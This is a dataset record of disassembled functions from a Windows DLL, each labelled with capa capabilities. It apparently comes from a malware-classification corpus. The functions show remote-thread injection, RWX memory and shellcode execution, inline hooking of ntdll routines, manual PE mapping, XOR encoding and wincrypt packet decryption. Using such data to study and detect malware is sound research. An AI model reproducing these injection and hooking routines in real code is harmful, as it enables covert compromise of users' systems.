joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100028c1
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
xor esi, esi
push esi
push 4
push dword [ebp + 0x1c]
mov dword [ebp - 8], esi
push dword [ebp + 0x18]
push 0x100000
push dword [ebp + 0x10]
call fcn.10006762
mov edi, eax
add esp, 0x18
mov dword [ebp - 4], edi
test edi, edi
jne 0x10002927
cmp dword [ebp + 0x14], 2
jne 0x10002989
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x10]
call fcn.10002993
add esp, 0x10
test eax, eax
je 0x10002924
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 4]
jmp 0x1000296d
mov edi, dword [ebp - 4]
cmp dword [ebp + 8], esi
je 0x1000295b
cmp dword [ebp + 0xc], esi
je 0x1000295b
push dword [ebp - 8]
push 0x20196
push dword [ebp + 0xc]
call fcn.10003814
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.10003d26
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1000296f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test edi, edi
je 0x1000297a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000297a
Function at 0x10002993
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 0x110
xor esi, esi
lea eax, [ebp - 0x114]
push esi
push eax
call fcn.10010040
add esp, 0xc
mov dword [ebp - 0x118], 0x114
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x100029dc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002abf
cmp dword [ebp - 0x114], 5
jne 0x100029f8
cmp dword [ebp - 0x110], 2
jne 0x100029f8
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x100029cf
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, 0x3000
push 0x40
push ebx
push 0x52
push 0
call edi
mov dword [ebp - 4], eax
test eax, eax
jne 0x10002a22
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002abd
push 0x40
push ebx
push 0x149
push 0
call edi
mov edi, eax
test edi, edi
jne 0x10002a3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10002a9d
push 0x52
push 0x10027f30
push dword [ebp - 4]
call fcn.1000f750
push 0x129
push 0x10027f88
push edi
call fcn.1000f750
mov eax, dword [ebp + 8]
lea ebx, [edi + 0x129]
and dword [ebx + 0x18], esi
add esp, 0x18
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
mov eax, dword [ebp + 0x10]
push ebx
push edi
mov dword [ebx + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x10002a8d
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10002a34
mov ecx, dword [ebx + 0x18]
test ecx, ecx
jne 0x10002a98
push 6
jmp 0x10002a85
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x4000
push 0
push dword [ebp - 4]
call ebx
test edi, edi
je 0x10002abd
push 0x4000
push 0
push edi
call ebx
pop edi
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000435f
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0x5c
push esi
call fcn.10010ea0
pop ecx
pop ecx
test eax, eax
je 0x10004377
lea esi, [eax + 1]
push 0x40
push 0x1000
push 0x180
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1002aa34], eax
test eax, eax
je 0x10004419
push eax
call fcn.10004667
push 0xff
push esi
push 0x100
push dword [0x1002aa34]
call fcn.10010df4
push dword [0x1002aa34]
call fcn.100100d0
mov ecx, dword [0x1002aa34]
inc eax
mov dword [ecx + 0x100], eax
mov ecx, dword [0x1002aa34]
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x108], eax
push dword [0x1002aa34]
call fcn.100048bf
add esp, 0x1c
push dword [0x1002aa34]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x1002aa34]
mov esi, eax
call fcn.100047e7
mov dword [esp], 0x8000
push 0
push dword [0x1002aa34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop esi
pop ebp
ret
Function at 0x100045e9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push edi
mov edi, dword [ebp + 0xc]
push eax
push 5
push edi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, edi
mov byte [esi + 5], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 6], eax
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
mov eax, dword [ebp + 0x14]
sub eax, edi
mov byte [edi], 0xe9
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004667
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0x10028344
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x10004782
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x10028350
push ebx
call esi
push 0x10028364
push ebx
mov edi, eax
call esi
push 0x1002837c
push dword [ebp - 4]
mov ebx, eax
call esi
push 0x10028388
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
push 0x10028398
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call esi
push 0x100283a8
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call esi
mov esi, dword [ebp + 8]
push 0x1000458e
add esi, 0x13c
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.100045e9
mov dword [edi + 0x178], esi
lea esi, [edi + 0x11e]
push 0x100044c3
push esi
push ebx
push edi
call fcn.100045e9
mov dword [edi + 0x16c], esi
lea esi, [edi + 0x128]
push 0x10004523
push esi
push dword [ebp - 8]
push edi
call fcn.100045e9
mov dword [edi + 0x170], esi
lea esi, [edi + 0x132]
push 0x10004569
push esi
push dword [ebp - 0xc]
push edi
call fcn.100045e9
add esp, 0x40
mov dword [edi + 0x174], esi
lea esi, [edi + 0x114]
push 0x10004484
push esi
push dword [ebp - 0x10]
push edi
call fcn.100045e9
mov dword [edi + 0x168], esi
lea esi, [edi + 0x146]
push 0x100045c6
push esi
push dword [ebp - 4]
push edi
call fcn.100045e9
add esp, 0x20
mov dword [edi + 0x17c], esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004787
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0x1c
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x18]
push dword [ebp - 0x24]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esp, ebp
pop ebp
ret

Function at 0x100047e7
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0x100283b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x100048ba
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.NtMapViewOfSection
push ebx
call esi
push str.NtQueryAttributesFile
push ebx
mov edi, eax
call esi
push str.NtOpenFile
push dword [ebp - 4]
mov ebx, eax
call esi
push str.NtCreateSection
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
push str.NtOpenSection
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call esi
push str.NtClose
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call esi
mov ecx, dword [ebp + 8]
mov esi, eax
add ecx, 0x13c
push ecx
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.10004787
lea ecx, [edi + 0x11e]
push ecx
push ebx
push edi
call fcn.10004787
lea eax, [edi + 0x128]
push eax
push dword [ebp - 8]
push edi
call fcn.10004787
lea eax, [edi + 0x132]
push eax
push dword [ebp - 0xc]
push edi
call fcn.10004787
lea eax, [edi + 0x114]
push eax
push dword [ebp - 0x10]
push edi
call fcn.10004787
lea eax, [edi + 0x146]
push eax
push esi
push edi
call fcn.10004787
add esp, 0x48
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100048bf
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov edi, dword [ebp + 8]
push 0x40
push 0x3000
mov eax, dword [edi + 0x108]
mov esi, dword [eax + 0x3c]
add esi, eax
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
mov dword [edi + 0x10c], eax
test eax, eax
jne 0x10004906
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
call ebx
mov dword [edi + 0x10c], eax
mov eax, dword [esi + 0x50]
push str.NtLockVirtualMemory
push 0x1002842c
mov dword [edi + 0x110], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004947
mov ecx, dword [edi + 0x10c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x50]
mov dword [ebp + 8], ecx
lea ecx, [ebp + 8]
push 1
push ecx
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
call eax
push 0
push dword [esi + 0x54]
push dword [edi + 0x108]
push dword [edi + 0x10c]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and dword [ebp + 8], 0
xor ecx, ecx
movzx eax, word [esi + 0x14]
cmp cx, word [esi + 6]
jae 0x100049a7
lea ebx, [esi + 0x2c]
add ebx, eax
mov eax, dword [ebx]
add eax, dword [edi + 0x108]
push 0
push dword [ebx - 4]
push eax
mov eax, dword [ebx - 8]
add eax, dword [edi + 0x10c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp + 8]
lea ebx, [ebx + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp + 8], ecx
cmp ecx, eax
jl 0x10004975
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004d31
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x18
push 0x10025490
call fcn.1000fda0
xor esi, esi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x10004d4d
xor eax, eax
jmp 0x10004de1
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
add ebx, edi
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp + 8], eax
mov edx, dword [ebx + 0x20]
add edx, edi
mov dword [ebp - 0x20], edx
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0xc]
test ecx, 0xffff0000
jne 0x10004d8a
movzx eax, cx
sub eax, dword [ebx + 0x10]
jmp 0x10004db1
mov ebx, dword [ebx + 0x18]
mov dword [ebp - 0x28], ebx
mov eax, ebx
dec ebx
mov dword [ebp - 0x28], ebx
test eax, eax
je 0x10004ddb
mov eax, dword [edx]
add eax, edi
push ecx
push eax
call fcn.100108d0
pop ecx
pop ecx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x10004dbb
movzx eax, word [eax]
mov esi, dword [ebp + 8]
mov esi, dword [esi + eax*4]
add esi, edi
jmp 0x10004dd8
mov edx, dword [ebp - 0x20]
add edx, 4
mov dword [ebp - 0x20], edx
add eax, 2
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
jmp 0x10004d90
mov dword [ebp - 0x24], esi
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.1000fddb
ret 8
Function at 0x10004de9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov edx, 0x10b
push edi
mov eax, dword [esi + 0x3c]
add eax, esi
movzx ecx, word [eax + 0x18]
cmp cx, dx
jne 0x10004e0e
xor edi, edi
add eax, 0x78
jmp 0x10004e24
mov edx, 0x20b
cmp cx, dx
jne 0x10004eb7
xor edi, edi
inc edi
add eax, 0x88
push edi
push esi
push dword [eax]
call fcn.10005562
push edi
push esi
lea ebx, [esi + eax]
push dword [ebx + 0x20]
call fcn.10005562
push edi
push esi
push dword [ebx + 0x24]
add eax, esi
mov dword [ebp + 8], eax
call fcn.10005562
add eax, esi
add esp, 0x24
test dword [ebp + 0xc], 0xffff0000
mov dword [ebp - 4], eax
jne 0x10004e81
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.10005562
mov ecx, dword [ebp + 0xc]
add esp, 0xc
movzx ecx, cx
sub ecx, dword [ebx + 0x10]
add eax, esi
push dword [eax + ecx*4]
call fcn.10005562
add esp, 0xc
jmp 0x10004eb9
mov eax, dword [ebx + 0x18]
jmp 0x10004eb3
dec eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push edi
push esi
push dword [eax]
call fcn.10005562
push dword [ebp + 0xc]
add eax, esi
push eax
call fcn.100127a0
add esp, 0x14
test eax, eax
jne 0x10004ec0
add dword [ebp + 8], 4
add dword [ebp - 4], 2
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10004e86
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.10005562
mov ecx, dword [ebp - 4]
add esp, 0xc
movzx ecx, word [ecx]
jmp 0x10004e72

Function at 0x10004ed7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x14
push 0x10025480
call fcn.1000fda0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
test esi, esi
je 0x10004f69
cmp dword [ebp + 0xc], eax
je 0x10004f69
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push esi
call fcn.10004de9
pop ecx
pop ecx
test eax, eax
je 0x10004f51
add eax, esi
mov dword [ebp + 8], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10004f51
call dword [ebp + 8]
test eax, eax
je 0x10004f40
lea ecx, [ebp - 0x1c]
push ecx
push 6
push 0
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10004f6b
xor eax, eax
call fcn.1000fddb
ret 0xc

Function at 0x100050ae
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
jbe 0x100050d1
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ecx
and eax, 3
mov al, byte [eax + esi]
xor byte [ecx + edx], al
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x100050bf
pop esi
pop ebp
ret
Function at 0x1000569e
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
add eax, 0xfffffffc
push esi
push edi
push eax
lea eax, [ebx + 4]
xor esi, esi
push eax
push ebx
mov dword [ebp - 4], esi
call fcn.100050ae
push 0x34
push 1
call fcn.1000ff11
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x100056d8
push 8
pop esi
jmp 0x100057f8
push dword [ebx + 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x58]
test ecx, ecx
je 0x100057a3
cmp dword [ecx + 0xc], esi
je 0x100057a3
test eax, eax
je 0x100057a3
push dword [ebx + 0x18]
call dword [sym.imp.WS2_32.dll_ntohl]
sub eax, 0x18
mov dword [ebp + 0x14], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push esi
push esi
mov eax, dword [eax + 0x58]
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x10005735
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x100057ed
push esi
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 1
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005728
push esi
lea eax, [ebx + 0x20]
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005728
lea eax, [ebp + 0x14]
push eax
lea eax, [ebx + 0x30]
push eax
push esi
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10005728
push dword [ebp + 0x14]
lea eax, [ebx + 0x30]
push eax
push dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push eax
call fcn.10012af7
mov eax, dword [ebp + 0x14]
add esp, 0x10
add eax, 8
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 0x18]
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0x1c]
push dword [edi + 0x18]
mov dword [edi + 0x1c], eax
call dword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
push eax
mov dword [ebp + 0x14], eax
mov dword [edi + 0x24], eax
call fcn.1000f6be
mov edx, eax
mov dword [edi + 0x20], edx
pop ecx
test edx, edx
jne 0x100057d6
push 8
pop esi
jmp 0x100057f1
mov ecx, dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push ecx
push eax
push ecx
push edx
call fcn.10012a78
mov eax, dword [ebp + 0xc]
add esp, 0x10
mov dword [eax], edi
test esi, esi
je 0x100057f8
push edi
call fcn.100036d4
pop ecx
cmp dword [ebp - 4], 0
je 0x10005807
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005bd1
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Import public key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
mov esi, ebx
mov dword [ebp - 0xc], ebx
push edi
mov edi, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x10005d0f
cmp dword [ebp + 0xc], ebx
je 0x10005d0f
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x8000
push dword [ebp + 0xc]
push dword [ebp + 8]
push 8
push 1
call dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x10005c2d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10005d14
push 0xf0000000
push 1
push 0x10028810
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
jne 0x10005c5e
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
je 0x10005c20
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push 1
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
je 0x10005c20
mov eax, dword [ebp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push eax
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push eax
push 1
push eax
push dword [ebp - 4]
call ebx
push dword [ebp + 8]
push 1
call fcn.1000ff11
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x10005ca8
push 0xe
pop esi
jmp 0x10005d23
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push edi
call fcn.10012a78
add esp, 0x10
lea eax, [ebp + 0x14]
push dword [ebp + 8]
push eax
push edi
push 0
push 1
push 0
push dword [ebp - 4]
call ebx
test eax, eax
je 0x10005c20
mov edx, dword [ebp + 8]
xor ebx, ebx
test edx, 0xfffffffe
jbe 0x10005d03
mov cl, byte [ebx + edi]
sub edx, ebx
mov al, byte [edx + edi - 1]
mov byte [ebx + edi], al
mov eax, dword [ebp + 8]
sub eax, ebx
inc ebx
mov byte [eax + edi - 1], cl
mov edx, dword [ebp + 8]
mov eax, edx
shr eax, 1
cmp ebx, eax
jb 0x10005ce2
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
mov eax, dword [ebp + 0x1c]
mov dword [eax], edx
jmp 0x10005d14
mov esi, 0xa0
test esi, esi
je 0x10005d23
test edi, edi
je 0x10005d23
push edi
call fcn.1000f686
pop ecx
cmp dword [ebp - 0xc], 0
je 0x10005d32
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 4], 0
je 0x10005d41
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 8], 0
je 0x10005d52
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000668e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100066c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x100066fb
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x100066f3
mov eax, esi
add eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push esi
push ecx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100066f3
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
sub edi, dword [ebp - 4]
jne 0x100066d0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006762
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x1c], 0
push ebx
push esi
mov esi, dword [ebp + 0x18]
push edi
lea edi, [ebp - 4]
cmovne edi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x1000681b
mov eax, dword [0x1002aa58]
mov dword [ebp + 0x1c], ebx
cmp dword [0x1002aa5c], ebx
jne 0x100067d6
test eax, eax
jne 0x100067cc
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002aa58], eax
mov dword [0x1002aa5c], 1
test eax, eax
je 0x10006813
push ebx
lea ecx, [ebp + 0x1c]
shr esi, 2
push ecx
push dword [ebp + 0x14]
and esi, 1
push dword [ebp + 0x10]
push ebx
push ebx
push ebx
push esi
push ebx
push dword [ebp + 8]
call eax
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x1000681b
test edi, edi
je 0x1000681b
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [edi], eax
jmp 0x1000681b
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret